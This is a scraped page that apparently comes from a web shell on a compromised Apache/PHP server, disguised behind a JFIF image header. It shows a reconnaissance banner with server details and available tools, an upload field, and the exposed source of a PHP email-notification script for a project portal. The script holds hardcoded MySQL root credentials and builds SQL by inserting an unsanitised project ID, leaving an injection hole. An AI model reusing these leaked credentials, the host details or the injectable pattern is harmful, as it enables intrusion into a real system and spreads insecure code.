????JFIF??x?x????'
| Server IP : 79.136.114.73  /  Your IP : 216.73.216.37 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/thermotech/  | 
Upload File :  | 
<?php
session_start();
function sendNotification($_ProjectId, $_Type, $_UserCompany, $_UserEmail){
	$ProjectId = $_ProjectId;
	$Type = $_Type;
	$UserCompany = $_UserCompany;
	$UserEmail = $_UserEmail;
	
		$link = mysql_connect ("localhost", "root", "root123");
		mysql_select_db ("vpa");
	
		$sql = "SELECT ProjectSystemUserJoin.ProjectId, SystemUser.Email,Project.Name as ProjectName, Project.CompanyId, Company.Name as CompanyName, ProjectType.ProjectTypeDisplayValue as ProjectType, JobType.JobTypeDisplayValue as ProjectJobType
				FROM ProjectSystemUserJoin, SystemUser, Project, Company, ProjectType, JobType
				WHERE SystemUser.SystemUserID = ProjectSystemUserJoin.SystemUserID
				AND ProjectSystemUserJoin.ProjectID = Project.ProjectID
				AND Company.CompanyId = Project.CompanyID
				AND ProjectType.ProjectTypeId = Project.ProjectTypeId
				AND JobType.JobTypeId = Project.JobTypeId
				AND ProjectSystemUserJoin.ProjectId = $ProjectId
				AND NOT ProjectSystemUserJoin.UserGroupId =3
				AND NOT ProjectSystemUserJoin.UserGroupId =4
				AND NOT ProjectSystemUserJoin.UserGroupId =9";
		$result = mysql_query($sql);
		while ($row = mysql_fetch_assoc($result)){
			$CompanyName = $row['CompanyName'];
			$CompanyId=$row['CompanyId'];
			$ProjectName=$row['ProjectName'];
			$ProjectId=$row['ProjectId'];
			$ProjectType=$row['ProjectType'];
			$ProjectJobType=$row['ProjectJobType'];
			$SendTo = $row['Email'];
			
			$newproject = "
A new project has been created for the customer: $CompanyName
Customer account number: $CompanyId
			
The project has the name: $ProjectName ($ProjectId)
			
Project type: $ProjectType
Job Type: $ProjectJobType
			
It has been added by: $UserCompany ($UserEmail)
			
			
-------------------------------------------------------------------------------
This message was automatically generated by AP-interface for Thermotech
			
AP-interface for Thermotech is available here: http://appsrv.astacus.se/thermotech/
			
If you have any questions about this mail please contact support@astacus.se
-------------------------------------------------------------------------------";
			
			$newdocuments = "
New document(s) has been added to the project:  $ProjectName ($ProjectId)
Company: AI ($CompanyId)
The following document(s) has been added: 
".$_SESSION['uploaded_files']."
It has been added by: $UserCompany ($UserEmail)
			
-------------------------------------------------------------------------------
This message was automatically generated by AP-interface for Thermotech
			
AP-interface for Thermotech is available here:
http://appsrv.astacus.se/thermotech/ 
If you have any questions about this mail please contact support@astacus.se
-------------------------------------------------------------------------------";
			
			
			if($Type == 1){
				$body = $newproject;
				
				$headers  = 'MIME-Version: 1.0' . "\r\n";
    			$headers .= "Content-type: text; charset=iso-8859-1\r\n"; 
				$headers .= "From: astacus.support@visionproject.se\r\n";
				$subject = "[Thermotech] New Project created: $ProjectName";
				
				//if($SendTo== "carl.hoffstedt@astacus.se"){
					mail($SendTo, $subject, $body, $headers);
					
				//}
			
			}else if($Type == 2){
			$body = $newdocuments;
				
				$headers  = 'MIME-Version: 1.0' . "\r\n";
    			$headers .= "Content-type: text; charset=iso-8859-1\r\n"; 
				$headers .= "From: astacus.support@visionproject.se\r\n";
				$subject = "[Thermotech] New document in: $ProjectName";
				
				//if($SendTo== "carl.hoffstedt@astacus.se"){
					mail($SendTo, $subject, $body, $headers);
					
				//}
			}
			
			
						
		}
  		$_SESSION['uploaded_files'] = "";
						  
}
		
?>